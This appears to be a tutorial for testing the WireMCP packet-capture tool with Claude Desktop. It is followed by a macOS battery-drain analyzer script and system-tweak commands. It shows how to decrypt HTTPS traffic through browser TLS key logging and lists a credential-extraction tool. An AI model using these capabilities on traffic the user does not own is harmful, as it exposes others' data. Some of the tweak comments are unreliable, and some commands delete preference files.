echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
cat << 'EOF'
Can you see the WireMCP tools? List all available network analysis capabilities you have access to.
EOF
echo ""
echo "Expected: Claude should list 7 tools (capture_packets, get_summary_stats, etc.)"
echo ""

echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "TEST 2: Simple Packet Capture"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
cat << 'EOF'
Capture 20 network packets and show me a summary including:
- Source and destination IPs
- Protocols used
- Port numbers
- Any interesting patterns
EOF
echo ""
echo "Expected: Packets from $ZSCALER_IF with IPs in 100.64.x.x range"
echo ""

echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "TEST 3: Protocol Analysis"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
cat << 'EOF'
Capture 50 packets and show me:
1. Protocol breakdown (TCP, UDP, DNS, HTTP, TLS)
2. Which protocol is most common
3. Protocol hierarchy statistics
EOF
echo ""
echo "Expected: Protocol percentages and hierarchy tree"
echo ""

echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "TEST 4: Connection Analysis"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
cat << 'EOF'
Capture 100 packets and show me network conversations:
- Top 5 source/destination pairs
- Number of packets per conversation
- Bytes transferred
EOF
echo ""
echo "Expected: Conversation statistics with packet/byte counts"
echo ""

echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "TEST 5: Threat Detection"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
cat << 'EOF'
Capture traffic for 30 seconds and check all destination IPs against threat databases. Tell me if any malicious IPs are detected.
EOF
echo ""
echo "Expected: List of IPs and threat check results (should show 'No threats')"
echo ""

echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "TEST 6: HTTPS Decryption (Advanced)"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "⚠️  First: Restart your browser after running this:"
echo "    source ~/.zshrc && echo \$SSLKEYLOGFILE"
echo ""
cat << 'EOF'
Capture 30 packets while I browse some HTTPS websites. Can you see any HTTP hostnames or request URIs from the HTTPS traffic?
EOF
echo ""
echo "Expected: If SSL keys are logged, Claude sees decrypted HTTP data"
echo ""

echo "════════════════════════════════════════════════════════"
echo ""

echo -e "${YELLOW}🔧 Manual Verification Commands:${NC}"
echo ""
echo "  # Test manual capture:"
echo "  sudo tshark -i $ZSCALER_IF -c 10"
echo ""
echo "  # Check SSL keylog:"
echo "  ls -lh ~/.wireshark-sslkeys.log"
echo ""
echo "  # Test WireMCP server:"
echo "  cd ~/WireMCP && timeout 3 node index.js"
echo ""
echo "  # Check Claude config:"
echo "  cat \"\$HOME/Library/Application Support/Claude/claude_desktop_config.json\""
echo ""

echo "════════════════════════════════════════════════════════"
echo ""

echo -e "${GREEN}✅ Test setup complete!${NC}"
echo ""
echo "Next steps:"
echo "  1. Open Claude Desktop"
echo "  2. Copy/paste the test prompts above"
echo "  3. Verify Claude can access WireMCP tools"
echo "  4. Check ~/WIREMCP_TESTING_EXAMPLES.md for more examples"
echo ""

# Keep generating traffic in background
echo "Keeping test traffic active for 2 minutes..."
echo "(You can Ctrl+C to stop)"
echo ""

# Generate continuous light traffic
for i in {1..24}; do
    (curl -s https://httpbin.org/delay/1 > /dev/null 2>&1) &
    sleep 5
done

echo ""
echo "Traffic generation complete!"
echo ""

EOF

chmod +x ~/test_wiremcp_claude.sh

Now that you have tested everything is fine… the below just gives you a few example tests to carry out.

# Try WireMCP Right Now! 🚀

## 🎯 3-Minute Quick Start

### Step 1: Restart Claude Desktop (30 seconds)
```bash
# Kill and restart Claude
killall Claude
sleep 2
open -a Claude
```

### Step 2: Create a script to Generate Some Traffic (30 seconds)

cat > ~/network_activity_loop.sh << 'EOF'
#!/bin/bash

# Script to generate network activity for 30 seconds
# Useful for testing network capture tools

echo "Starting network activity generation for 30 seconds..."
echo "Press Ctrl+C to stop early if needed"

# Record start time
start_time=$(date +%s)
end_time=$((start_time + 30))

# Counter for requests
request_count=0

# Loop for 30 seconds
while [ $(date +%s) -lt $end_time ]; do
    # Create network activity to capture
    echo -n "Request set #$((++request_count)) at $(date +%T): "
    
    # GitHub API call
    curl -s https://api.github.com/users/octocat > /dev/null 2>&1 &
    
    # HTTPBin JSON endpoint
    curl -s https://httpbin.org/json > /dev/null 2>&1 &
    
    # IP address check
    curl -s https://ifconfig.me > /dev/null 2>&1 &
    
    # Wait for background jobs to complete
    wait
    echo "completed"
    
    # Small delay to avoid overwhelming the servers
    sleep 0.5
done

echo ""
echo "Network activity generation completed!"
echo "Total request sets sent: $request_count"
echo "Duration: 30 seconds"
EOF

chmod +x ~/network_activity_loop.sh

# Call the script
./network_activity_loop.sh

Time to play!

Now open Claude Desktop and we can run a few tests…

Ask Claude:

Can you see the WireMCP tools? List all available network analysis capabilities.

Claude should list 7 tools:
– capture_packets
– get_summary_stats
– get_conversations
– check_threats
– check_ip_threats
– analyze_pcap
– extract_credentials

2. Ask Claude:

Capture 20 network packets and tell me:
– What IPs am I talking to?
– What protocols are being used?
– Anything interesting?

3. In terminal run:

```bash
curl -v https://api.github.com/users/octocat
```

Ask Claude:

I just called api.github.com. Can you capture my network traffic
for 10 seconds and tell me:
1. What IP did GitHub resolve to?
2. How long did the connection take?
3. Were there any errors?

4. Ask Claude:

Monitor my network for 30 seconds and show me:
– Top 5 destinations by packet count
– What services/companies am I connecting to?
– Any unexpected connections?

5. Developer Debugging Examples – Debug Slow API. Ask Claude:

I’m calling myapi.company.com and it feels slow.
Capture traffic for 30 seconds while I make a request and tell me:
– Where is the latency coming from?
– DNS, TCP handshake, TLS, or server response?
– Any retransmissions?

6. Developer Debugging Examples – Debug Connection Timeout. Ask Claude:

I’m getting timeouts to db.example.com:5432.
Capture for 30 seconds and tell me:
1. Is DNS resolving?
2. Are SYN packets being sent?
3. Do I get SYN-ACK back?
4. Any firewall blocking?

7. TLS Handshake failures (often happen with zero trust networks and cert pinning). Ask Claude:

Monitor my network for 2 mins and look for abnormal TLS handshakes, in particular shortlived TLS handshakes, which can occur due to cert pinning issues.

8. Check for Threats. Ask Claude:

Monitor my network for 60 seconds and check all destination
IPs against threat databases. Tell me if anything suspicious.

9. Monitor Background Apps. Ask Claude:

Capture traffic for 30 seconds while I’m idle.
What apps are calling home without me knowing? Only get conversation statistics to show the key connections and the amount of traffic through each. Show any failed traffic or unusual traffic patterns

10. VPN Testing. Ask Claude:

Capture packets for 60 seconds, during which time i will enable my VPN. Compare the difference and see if you can see exactly when my VPN was enabled.

11. Audit traffic. Ask Claude:

Monitor for 5 minutes and tell me:
– Which service used most bandwidth?
– Any large file transfers?
– Unexpected data usage?

12. Looking for specific protocols. Ask Claude:

Monitor my traffic for 30 seconds and see if you can spot any traffic using QUIC and give me statistics on it.

(then go open a youtube website)

13. DNS Queries. Ask Claude:

As a network troubleshooter, analyze all DNS queries for 30 seconds and provide potential causes for any errors. Show me detailed metrics on any calls, especially failed calls or unusual DNS patterns (like NXDOMAIN, PTR or TXT calls)

14. Certificate Issues. Ask Claude:

Capture TLS handshakes for the next minute and show me the certificate chain. Look out for failed/short live TLS sessions

What Makes This Powerful?

The tradition way used to be:

“`bash
sudo tcpdump -i utun5 -w capture.pcap
# Wait…
# Stop capture
# Open Wireshark
# Apply filters
# Analyze packets manually
# Figure out what it means
“`
Time: 10-30 minutes!

With WireMCP + Claude:

“Capture my network traffic and tell me
what’s happening in plain English”

Time: 30 seconds

Claude automatically:
– Captures on correct interface (utun5)
– Filters relevant packets
– Analyzes protocols
– Identifies issues
– Explains in human language
– Provides recommendations

Macbook: A script to figure out which processes are causing battery usuage/drain issues (even when the laptop lid is closed)

If you’re trying to figure out whats draining your macbook, even when the lid is closed – then try the script below (call with “sudo ./battery_drain_analyzer.sh”):

cat > ~/battery_drain_analyzer.sh << 'EOF'
#!/bin/bash

# Battery Drain Analyzer for macOS
# This script analyzes processes and settings that affect battery life,
# especially when the laptop lid is closed.

# Colors for terminal output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color

# Output file
REPORT_FILE="battery_drain_report_$(date +%Y%m%d_%H%M%S).md"
TEMP_DIR=$(mktemp -d)

echo -e "${GREEN}Battery Drain Analyzer${NC}"
echo "Collecting system information..."
echo "This may take a minute and will require administrator privileges for some checks."
echo ""

# Function to check if running with sudo
check_sudo() {
    if [[ $EUID -ne 0 ]]; then
        echo -e "${YELLOW}Some metrics require sudo access. Re-running with sudo...${NC}"
        sudo "$0" "$@"
        exit $?
    fi
}

# Start the report
cat > "$REPORT_FILE" << EOF
# Battery Drain Analysis Report
**Generated:** $(date '+%Y-%m-%d %H:%M:%S %Z')  
**System:** $(sysctl -n hw.model)  
**macOS Version:** $(sw_vers -productVersion)  
**Uptime:** $(uptime | sed 's/.*up //' | sed 's/,.*//')

---

## Executive Summary
This report analyzes processes and settings that consume battery power, particularly when the laptop lid is closed.

EOF

# 1. Check current power assertions
echo "Checking power assertions..."
cat >> "$REPORT_FILE" << EOF

## 🔋 Current Power State

### Active Power Assertions
Power assertions prevent your Mac from sleeping. Here's what's currently active:

\`\`\`
EOF
pmset -g assertions | grep -A 20 "Listed by owning process:" >> "$REPORT_FILE"
echo '```' >> "$REPORT_FILE"

# 2. Check sleep prevention
SLEEP_STATUS=$(pmset -g | grep "sleep" | head -1)
if [[ $SLEEP_STATUS == *"sleep prevented"* ]]; then
    echo "" >> "$REPORT_FILE"
    echo "⚠️ **WARNING:** Sleep is currently being prevented!" >> "$REPORT_FILE"
fi

# 3. Analyze power settings
echo "Analyzing power settings..."
cat >> "$REPORT_FILE" << EOF

## ⚙️ Power Management Settings

### Current Power Profile
\`\`\`
EOF
pmset -g >> "$REPORT_FILE"
echo '```' >> "$REPORT_FILE"

# Identify problematic settings
cat >> "$REPORT_FILE" << EOF

### Problematic Settings for Battery Life
EOF

POWERNAP=$(pmset -g | grep "powernap" | awk '{print $2}')
TCPKEEPALIVE=$(pmset -g | grep "tcpkeepalive" | awk '{print $2}')
WOMP=$(pmset -g | grep "womp" | awk '{print $2}')
STANDBY=$(pmset -g | grep "standby" | awk '{print $2}')

if [[ "$POWERNAP" == "1" ]]; then
    echo "- ❌ **Power Nap is ENABLED** - Allows Mac to wake for updates (HIGH battery drain)" >> "$REPORT_FILE"
else
    echo "- ✅ Power Nap is disabled" >> "$REPORT_FILE"
fi

if [[ "$TCPKEEPALIVE" == "1" ]]; then
    echo "- ⚠️ **TCP Keep-Alive is ENABLED** - Maintains network connections during sleep (MEDIUM battery drain)" >> "$REPORT_FILE"
else
    echo "- ✅ TCP Keep-Alive is disabled" >> "$REPORT_FILE"
fi

if [[ "$WOMP" == "1" ]]; then
    echo "- ⚠️ **Wake on LAN is ENABLED** - Allows network wake (MEDIUM battery drain)" >> "$REPORT_FILE"
else
    echo "- ✅ Wake on LAN is disabled" >> "$REPORT_FILE"
fi

# 4. Collect CPU usage data
echo "Collecting CPU usage data..."
cat >> "$REPORT_FILE" << EOF

## 📊 Top Battery-Draining Processes

### Current CPU Usage (Higher CPU = More Battery Drain)
EOF

# Get top processes by CPU
top -l 2 -n 20 -o cpu -stats pid,command,cpu,mem,purg,user | tail -n 21 > "$TEMP_DIR/top_output.txt"

# Parse and format top output
echo "| PID | Process | CPU % | Memory | User |" >> "$REPORT_FILE"
echo "|-----|---------|-------|--------|------|" >> "$REPORT_FILE"
tail -n 20 "$TEMP_DIR/top_output.txt" | while read line; do
    if [[ ! -z "$line" ]] && [[ "$line" != *"PID"* ]]; then
        PID=$(echo "$line" | awk '{print $1}')
        PROCESS=$(echo "$line" | awk '{print $2}' | cut -c1-30)
        CPU=$(echo "$line" | awk '{print $3}')
        MEM=$(echo "$line" | awk '{print $4}')
        USER=$(echo "$line" | awk '{print $NF}')
        
        # Highlight high CPU processes
        # Use awk for floating point comparison to avoid bc dependency
        if awk "BEGIN {exit !($CPU > 10.0)}" 2>/dev/null; then
            echo "| $PID | **$PROCESS** | **$CPU** | $MEM | $USER |" >> "$REPORT_FILE"
        else
            echo "| $PID | $PROCESS | $CPU | $MEM | $USER |" >> "$REPORT_FILE"
        fi
    fi
done

# 5. Check for power metrics (if available with sudo)
if [[ $EUID -eq 0 ]]; then
    echo "Collecting detailed power metrics..."
    cat >> "$REPORT_FILE" << EOF

### Detailed Power Consumption Analysis
EOF
    
    # Run powermetrics for 2 seconds
    powermetrics --samplers tasks --show-process-energy -i 2000 -n 1 2>/dev/null > "$TEMP_DIR/powermetrics.txt"
    
    if [[ -s "$TEMP_DIR/powermetrics.txt" ]]; then
        echo '```' >> "$REPORT_FILE"
        grep -A 30 -F "*** Running tasks ***" "$TEMP_DIR/powermetrics.txt" | head -35 >> "$REPORT_FILE"
        echo '```' >> "$REPORT_FILE"
    fi
fi

# 6. Check wake reasons
echo "Analyzing wake patterns..."
cat >> "$REPORT_FILE" << EOF

## 💤 Sleep/Wake Analysis

### Recent Wake Events
These events show why your Mac woke from sleep:

\`\`\`
EOF
pmset -g log | grep -E "Wake from|DarkWake|Notification" | tail -10 >> "$REPORT_FILE"
echo '```' >> "$REPORT_FILE"

# 7. Check scheduled wake events
cat >> "$REPORT_FILE" << EOF

### Scheduled Wake Requests
These are processes that have requested to wake your Mac:

\`\`\`
EOF
pmset -g log | grep "Wake Requests" | tail -5 >> "$REPORT_FILE"
echo '```' >> "$REPORT_FILE"

# 8. Background services analysis
echo "Analyzing background services..."
cat >> "$REPORT_FILE" << EOF

## 🔄 Background Services Analysis

### Potentially Problematic Services
EOF

# Check for common battery-draining services
SERVICES_TO_CHECK=(
    "Spotlight:mds_stores"
    "Time Machine:backupd"
    "Photos:photoanalysisd"
    "iCloud:bird"
    "CrowdStrike:falcon"
    "Dropbox:Dropbox"
    "Google Drive:Google Drive"
    "OneDrive:OneDrive"
    "Creative Cloud:Creative Cloud"
    "Docker:com.docker"
    "Parallels:prl_"
    "VMware:vmware"
    "Spotify:Spotify"
    "Slack:Slack"
    "Microsoft Teams:Teams"
    "Zoom:zoom.us"
    "Chrome:Google Chrome"
    "Edge:Microsoft Edge"
)

echo "| Service | Status | Impact |" >> "$REPORT_FILE"
echo "|---------|--------|--------|" >> "$REPORT_FILE"

for service in "${SERVICES_TO_CHECK[@]}"; do
    IFS=':' read -r display_name process_name <<< "$service"
    # Use pgrep with fixed string matching to avoid regex issues
    if pgrep -qfi "$process_name" 2>/dev/null; then
        # Get CPU usage for this process (escape special characters)
        escaped_name=$(printf '%s\n' "$process_name" | sed 's/[[\.*^$()+?{|]/\\&/g')
        CPU_USAGE=$(ps aux | grep -i "$escaped_name" | grep -v grep | awk '{sum+=$3} END {print sum}')
        if [[ -z "$CPU_USAGE" ]]; then
            CPU_USAGE="0"
        fi
        
        # Determine impact level
        # Use awk for floating point comparison
        if awk "BEGIN {exit !($CPU_USAGE > 20.0)}" 2>/dev/null; then
            IMPACT="HIGH ⚠️"
        elif awk "BEGIN {exit !($CPU_USAGE > 5.0)}" 2>/dev/null; then
            IMPACT="MEDIUM"
        else
            IMPACT="LOW"
        fi
        
        echo "| $display_name | Running (${CPU_USAGE}% CPU) | $IMPACT |" >> "$REPORT_FILE"
    fi
done

# 9. Battery health check
echo "Checking battery health..."
cat >> "$REPORT_FILE" << EOF

## 🔋 Battery Health Status

\`\`\`
EOF
system_profiler SPPowerDataType | grep -A 20 "Battery Information:" >> "$REPORT_FILE"
echo '```' >> "$REPORT_FILE"

# 10. Recommendations
cat >> "$REPORT_FILE" << EOF

## 💡 Recommendations

### Immediate Actions to Improve Battery Life

#### Critical (Do These First):
EOF

# Generate recommendations based on findings
if [[ "$POWERNAP" == "1" ]]; then
    cat >> "$REPORT_FILE" << EOF
1. **Disable Power Nap**
   \`\`\`bash
   sudo pmset -a powernap 0
   \`\`\`
EOF
fi

if [[ "$TCPKEEPALIVE" == "1" ]]; then
    cat >> "$REPORT_FILE" << EOF
2. **Disable TCP Keep-Alive**
   \`\`\`bash
   sudo pmset -a tcpkeepalive 0
   \`\`\`
EOF
fi

if [[ "$WOMP" == "1" ]]; then
    cat >> "$REPORT_FILE" << EOF
3. **Disable Wake for Network Access**
   \`\`\`bash
   sudo pmset -a womp 0
   \`\`\`
EOF
fi

cat >> "$REPORT_FILE" << EOF

#### Additional Optimizations:
4. **Reduce Display Sleep Time**
   \`\`\`bash
   sudo pmset -a displaysleep 5
   \`\`\`

5. **Enable Automatic Graphics Switching** (if available)
   \`\`\`bash
   sudo pmset -a gpuswitch 2
   \`\`\`

6. **Set Faster Standby Delay**
   \`\`\`bash
   sudo pmset -a standbydelay 1800  # 30 minutes
   \`\`\`

### Process-Specific Recommendations:
EOF

# Check for specific high-drain processes and provide detailed solutions
if pgrep -q "mds_stores" 2>/dev/null; then
    cat >> "$REPORT_FILE" << EOF
#### 🔍 **Spotlight Indexing Detected**
**Problem:** Spotlight is actively indexing your drive, consuming significant CPU and battery.
**Solutions:**
- **Temporary pause:** \`sudo mdutil -a -i off\` (re-enable with \`on\`)
- **Check indexing status:** \`mdutil -s /\`
- **Rebuild index if stuck:** \`sudo mdutil -E /\`
- **Exclude folders:** System Settings > Siri & Spotlight > Spotlight Privacy

EOF
fi

if pgrep -q "backupd" 2>/dev/null; then
    cat >> "$REPORT_FILE" << EOF
#### 💾 **Time Machine Backup Running**
**Problem:** Active backup consuming resources.
**Solutions:**
- **Skip current backup:** Click Time Machine icon > Skip This Backup
- **Schedule for AC power:** \`sudo defaults write /Library/Preferences/com.apple.TimeMachine RequiresACPower -bool true\`
- **Reduce backup frequency:** Use TimeMachineEditor app
- **Check backup size:** \`tmutil listbackups | tail -1 | xargs tmutil calculatedrift\`

EOF
fi

if pgrep -q "photoanalysisd" 2>/dev/null; then
    cat >> "$REPORT_FILE" << EOF
#### 📸 **Photos Library Analysis Active**
**Problem:** Photos app analyzing images for faces, objects, and scenes.
**Solutions:**
- **Pause temporarily:** Quit Photos app completely
- **Disable features:** Photos > Settings > uncheck "Enable Machine Learning"
- **Process overnight:** Leave Mac plugged in overnight to complete
- **Check progress:** Activity Monitor > Search "photo"

EOF
fi

# Check for additional common issues
if pgrep -q "kernel_task" 2>/dev/null && [[ $(ps aux | grep "kernel_task" | grep -v grep | awk '{print $3}' | cut -d. -f1) -gt 50 ]]; then
    cat >> "$REPORT_FILE" << EOF
#### 🔥 **High kernel_task CPU Usage**
**Problem:** System thermal management or driver issues.
**Solutions:**
- **Reset SMC:** Shut down > Press & hold Shift-Control-Option-Power for 10s
- **Check temperatures:** \`sudo powermetrics --samplers smc | grep temp\`
- **Disconnect peripherals:** Especially USB-C hubs and external displays
- **Update macOS:** Check for system updates
- **Safe mode test:** Restart holding Shift key

EOF
fi

if pgrep -q "WindowServer" 2>/dev/null && [[ $(ps aux | grep "WindowServer" | grep -v grep | awk '{print $3}' | cut -d. -f1) -gt 30 ]]; then
    cat >> "$REPORT_FILE" << EOF
#### 🖥️ **High WindowServer Usage**
**Problem:** Graphics rendering issues or display problems.
**Solutions:**
- **Reduce transparency:** System Settings > Accessibility > Display > Reduce transparency
- **Close visual apps:** Quit apps with animations or video
- **Reset display settings:** Option-click Scaled in Display settings
- **Disable display sleep prevention:** \`pmset -g assertions | grep -i display\`

EOF
fi

# 11. Battery drain score
echo "Calculating battery drain score..."
cat >> "$REPORT_FILE" << EOF

## 📈 Overall Battery Drain Score

EOF

# Calculate score (0-100, where 100 is worst)
SCORE=0
[[ "$POWERNAP" == "1" ]] && SCORE=$((SCORE + 30))
[[ "$TCPKEEPALIVE" == "1" ]] && SCORE=$((SCORE + 15))
[[ "$WOMP" == "1" ]] && SCORE=$((SCORE + 10))

# Add points for running services
pgrep -q "mds_stores" 2>/dev/null && SCORE=$((SCORE + 10))
pgrep -q "backupd" 2>/dev/null && SCORE=$((SCORE + 10))
pgrep -q "photoanalysisd" 2>/dev/null && SCORE=$((SCORE + 5))
pgrep -q "falcon" 2>/dev/null && SCORE=$((SCORE + 10))

# Determine rating
if [[ $SCORE -lt 20 ]]; then
    RATING="✅ **EXCELLENT** - Minimal battery drain expected"
elif [[ $SCORE -lt 40 ]]; then
    RATING="👍 **GOOD** - Some optimization possible"
elif [[ $SCORE -lt 60 ]]; then
    RATING="⚠️ **FAIR** - Noticeable battery drain"
else
    RATING="❌ **POOR** - Significant battery drain"
fi

cat >> "$REPORT_FILE" << EOF
**Battery Drain Score: $SCORE/100**  
**Rating: $RATING**

Higher scores indicate more battery drain. A score above 40 suggests optimization is needed.

---

## 📝 How to Use This Report

1. Review the **Executive Summary** for quick insights
2. Check **Problematic Settings** and apply recommended fixes
3. Identify high CPU processes in the **Top Battery-Draining Processes** section
4. Follow the **Recommendations** in order of priority
5. Re-run this script after making changes to measure improvement

## 🛠️ Common Battery Issues & Solutions

### 🔴 Critical Issues (Fix Immediately)

#### Sleep Prevention Issues
**Symptoms:** Mac won't sleep, battery drains with lid closed
**Diagnosis:** \`pmset -g assertions\`
**Solutions:**
- Kill preventing apps: \`pmset -g assertions | grep -i prevent\`
- Force sleep: \`pmset sleepnow\`
- Reset power management: \`sudo pmset -a restoredefaults\`

#### Runaway Processes
**Symptoms:** Fan running constantly, Mac gets hot, rapid battery drain
**Diagnosis:** \`top -o cpu\` or Activity Monitor
**Solutions:**
- Force quit: \`kill -9 [PID]\` or Activity Monitor > Force Quit
- Disable startup items: System Settings > General > Login Items
- Clean launch agents: \`ls ~/Library/LaunchAgents\`

### 🟡 Common Issues

#### Bluetooth Battery Drain
**Problem:** Bluetooth constantly searching for devices
**Solutions:**
- Reset Bluetooth module: Shift+Option click BT icon > Reset
- Remove unused devices: System Settings > Bluetooth
- Disable when not needed: \`sudo defaults write /Library/Preferences/com.apple.Bluetooth ControllerPowerState 0\`

#### Safari/Chrome High Energy Use
**Problem:** Browser tabs consuming excessive resources
**Solutions:**
- Use Safari over Chrome (more efficient on Mac)
- Install ad blockers to reduce JavaScript load
- Limit tabs: Use OneTab or similar extension
- Disable auto-play: Safari > Settings > Websites > Auto-Play

#### External Display Issues
**Problem:** Discrete GPU activation draining battery
**Solutions:**
- Use single display when on battery
- Lower resolution: System Settings > Displays
- Use clamshell mode efficiently
- Check GPU: \`pmset -g\` look for gpuswitch

#### Cloud Sync Services
**Problem:** Continuous syncing draining battery
**Solutions:**
- **iCloud:** System Settings > Apple ID > iCloud > Optimize Mac Storage
- **Dropbox:** Pause sync or use selective sync
- **OneDrive:** Pause syncing when on battery
- **Google Drive:** File Stream > Preferences > Bandwidth settings

### 🟢 Preventive Measures

#### Daily Habits
- Close apps instead of just minimizing
- Disconnect peripherals when not in use
- Use Safari for better battery life
- Enable Low Power Mode when unplugged
- Reduce screen brightness (saves 10-20% battery)

#### Weekly Maintenance
- Restart Mac weekly to clear memory
- Check Activity Monitor for unusual processes
- Update apps and macOS regularly
- Clear browser cache and cookies
- Review login items and launch agents

#### Monthly Checks
- Calibrate battery (full discharge and charge)
- Clean fans and vents for better cooling
- Review and remove unused apps
- Check storage (full drives impact performance)
- Run Disk Utility First Aid

### Quick Fix Scripts

#### 🚀 Basic Optimization (Safe)
Save and run this script to apply all recommended power optimizations:

\`\`\`bash
#!/bin/bash
# Apply all power optimizations
sudo pmset -a powernap 0
sudo pmset -a tcpkeepalive 0
sudo pmset -a womp 0
sudo pmset -a standbydelay 1800
sudo pmset -a displaysleep 5
sudo pmset -a hibernatemode 3
sudo pmset -a autopoweroff 1
sudo pmset -a autopoweroffdelay 28800
echo "Power optimizations applied!"
\`\`\`

#### 💪 Aggressive Battery Saving
For maximum battery life (may affect convenience):

\`\`\`bash
#!/bin/bash
# Aggressive battery saving settings
sudo pmset -b displaysleep 2
sudo pmset -b disksleep 10
sudo pmset -b sleep 5
sudo pmset -b powernap 0
sudo pmset -b tcpkeepalive 0
sudo pmset -b womp 0
sudo pmset -b ttyskeepawake 0
sudo pmset -b gpuswitch 0  # Force integrated GPU
sudo pmset -b hibernatemode 25  # Hibernate only mode
echo "Aggressive battery settings applied!"
\`\`\`

#### 🔄 Reset to Defaults
To restore factory power settings:

\`\`\`bash
#!/bin/bash
sudo pmset -a restoredefaults
echo "Power settings restored to defaults"
\`\`\`

---

*Report generated by Battery Drain Analyzer v1.0*
EOF

# Cleanup
rm -rf "$TEMP_DIR"

# Summary
echo ""
echo -e "${GREEN}✅ Analysis Complete!${NC}"
echo "Report saved to: $REPORT_FILE"
echo ""
echo "Key findings:"
[[ "$POWERNAP" == "1" ]] && echo -e "${RED}  ❌ Power Nap is enabled (HIGH drain)${NC}"
[[ "$TCPKEEPALIVE" == "1" ]] && echo -e "${YELLOW}  ⚠️ TCP Keep-Alive is enabled (MEDIUM drain)${NC}"
[[ "$WOMP" == "1" ]] && echo -e "${YELLOW}  ⚠️ Wake on LAN is enabled (MEDIUM drain)${NC}"
echo ""
echo "To view the full report:"
echo "  cat $REPORT_FILE"
echo ""
echo "To apply all recommended fixes:"
echo "  sudo pmset -a powernap 0 tcpkeepalive 0 womp 0"

EOF

chmod +x ~/battery_drain_analyzer.sh

If you see windowServer as your top consumer then consider the following:

# 1. Restart WindowServer (logs you out!)
sudo killall -HUP WindowServer

# 2. Reduce transparency
defaults write com.apple.universalaccess reduceTransparency -bool true

# 3. Disable animations
defaults write NSGlobalDomain NSAutomaticWindowAnimationsEnabled -bool false

# 4. Reset display preferences
rm ~/Library/Preferences/com.apple.windowserver.plist

Finer grained optimisations:

#!/bin/bash

echo "🔧 Applying ALL WindowServer Optimizations for M3 MacBook Pro..."
echo "This will reduce power consumption significantly"
echo ""

# ============================================
# VISUAL EFFECTS & ANIMATIONS (30-40% reduction)
# ============================================
echo "Disabling visual effects and animations..."

# Reduce transparency and motion
defaults write com.apple.universalaccess reduceTransparency -bool true
defaults write com.apple.universalaccess reduceMotion -bool true
defaults write com.apple.Accessibility ReduceMotionEnabled -int 1

# Disable smooth scrolling and window animations
defaults write NSGlobalDomain NSAutomaticWindowAnimationsEnabled -bool false
defaults write NSGlobalDomain NSScrollAnimationEnabled -bool false
defaults write NSGlobalDomain NSScrollViewRubberbanding -bool false
defaults write NSGlobalDomain NSWindowResizeTime -float 0.001
defaults write NSGlobalDomain NSDocumentRevisionsWindowTransformAnimation -bool false
defaults write NSGlobalDomain NSToolbarFullScreenAnimationDuration -float 0
defaults write NSGlobalDomain NSBrowserColumnAnimationSpeedMultiplier -float 0

# Dock optimizations
defaults write com.apple.dock autohide-time-modifier -float 0
defaults write com.apple.dock launchanim -bool false
defaults write com.apple.dock mineffect -string "scale"
defaults write com.apple.dock show-recents -bool false
defaults write com.apple.dock expose-animation-duration -float 0.1
defaults write com.apple.dock hide-mirror -bool true

# Mission Control optimizations
defaults write com.apple.dock expose-group-by-app -bool false
defaults write com.apple.dock mru-spaces -bool false
defaults write com.apple.dock dashboard-in-overlay -bool true

# Finder optimizations
defaults write com.apple.finder DisableAllAnimations -bool true
defaults write com.apple.finder AnimateWindowZoom -bool false
defaults write com.apple.finder AnimateInfoPanes -bool false
defaults write com.apple.finder FXEnableSlowAnimation -bool false

# Quick Look animations
defaults write -g QLPanelAnimationDuration -float 0

# Mail animations
defaults write com.apple.mail DisableReplyAnimations -bool true
defaults write com.apple.mail DisableSendAnimations -bool true

# ============================================
# M3-SPECIFIC OPTIMIZATIONS (10-15% reduction)
# ============================================
echo "Applying M3-specific optimizations..."

# Disable font smoothing (M3 handles text well without it)
defaults -currentHost write NSGlobalDomain AppleFontSmoothing -int 0
defaults write NSGlobalDomain CGFontRenderingFontSmoothingDisabled -bool true

# Optimize for battery when unplugged
sudo pmset -b gpuswitch 0  # Use efficiency cores more
sudo pmset -b lessbright 1 # Slightly dim display on battery
sudo pmset -b displaysleep 5  # Faster display sleep

# Reduce background rendering
defaults write NSGlobalDomain NSQuitAlwaysKeepsWindows -bool false
defaults write NSGlobalDomain NSDisableAutomaticTermination -bool true

# ============================================
# BROWSER OPTIMIZATIONS (15-25% reduction)
# ============================================
echo "Optimizing browsers..."

# Chrome optimizations
defaults write com.google.Chrome DisableHardwareAcceleration -bool true
defaults write com.google.Chrome CGDisableCoreAnimation -bool true
defaults write com.google.Chrome RendererProcessLimit -int 2
defaults write com.google.Chrome NSQuitAlwaysKeepsWindows -bool false

# Safari optimizations (more efficient than Chrome)
defaults write com.apple.Safari WebKitAcceleratedCompositingEnabled -bool false
defaults write com.apple.Safari WebKitWebGLEnabled -bool false
defaults write com.apple.Safari WebKit2WebGLEnabled -bool false

# Stable browser (if Chromium-based)
defaults write com.stable.browser DisableHardwareAcceleration -bool true

# ============================================
# ADVANCED WINDOWSERVER TWEAKS (5-10% reduction)
# ============================================
echo "Applying advanced WindowServer tweaks..."

# Reduce compositor update rate
defaults write com.apple.WindowManager StandardHideDelay -int 0
defaults write com.apple.WindowManager StandardHideTime -int 0
defaults write com.apple.WindowManager EnableStandardClickToShowDesktop -bool false

# Reduce shadow calculations
defaults write NSGlobalDomain NSUseLeopardWindowShadow -bool true

# Disable Dashboard
defaults write com.apple.dashboard mcx-disabled -bool true

# Menu bar transparency
defaults write NSGlobalDomain AppleEnableMenuBarTransparency -bool false

# ============================================
